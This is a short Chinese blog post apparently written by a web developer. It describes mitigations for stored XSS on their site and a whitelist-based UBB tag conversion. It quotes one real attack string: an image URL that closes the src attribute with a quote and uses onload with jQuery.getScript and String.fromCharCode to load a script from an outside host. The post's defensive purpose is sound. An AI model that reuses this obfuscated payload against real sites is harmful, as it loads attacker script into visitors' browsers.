您的位置:首页 > Web前端 > JavaScript

xss-javascript被攻击系列--(二)

2017-12-23 15:09 585 查看
虽然服务器端已经将cookies漏洞堵住了,可是脚本还是可以执行,威胁依然没有消除。

怎么阻止脚本执行,暂时想到的有3点:如下

1:去掉所有dom节点的所有onEvent事件

2:可以添加外部链接有关的属性,为属性值添加白名单限制。

3:去掉javascript,$,,jquery等脚本关键字

这些都是由服务器端来做,有点暴力。可至少可以保证网页中的内容是安全的。先堵上漏洞再说。

前端能做点什么呢,查询了相应的资料,加入自己的ubb机制。

白名单标签做ubb转换,下边给出常用的一些实例。

a标签: [a]链接地址[/a]

img标签:

embed标签:[embed attribute=属性名称]视频地址[/embed]

其他的标签可以根据自己的项目做具体的转化。

服务器接收到这些格式的字符时,在经过安全机制过滤,并做HTML编码后,再存入库中。在页面回显时,再会将白名单中的标签转换为html标签返回给前端。这时展示到页面中的内容基本安全了。

再给出一个恶意代码:

1:此代码可以在img标签中回显,中间的双引号会将src=“”属性值的 “ 截断,onload就可以正常的解析,恶意脚本就会被成功执行。这种截断的机制可以用在html标签尖括号上,导致页面布局错乱。

fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。看似正常的数值,可经过这个函数处理后,其实就可以是恶意脚本的地址。

http://***.**.myqcloud.com/17/12/06/11/ea9a5705487c6e81"onload=jQuery.getScript(String.fromCharCode(47,47,108,51,49,46,99,99,47,49,46,106,115))<!--


部署上线后,终于消停了。

战斗还没有结束,有可图的利益,安全问题就一直会出现。在这条路上才是刚刚开始,有好的建议多多交流哦。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: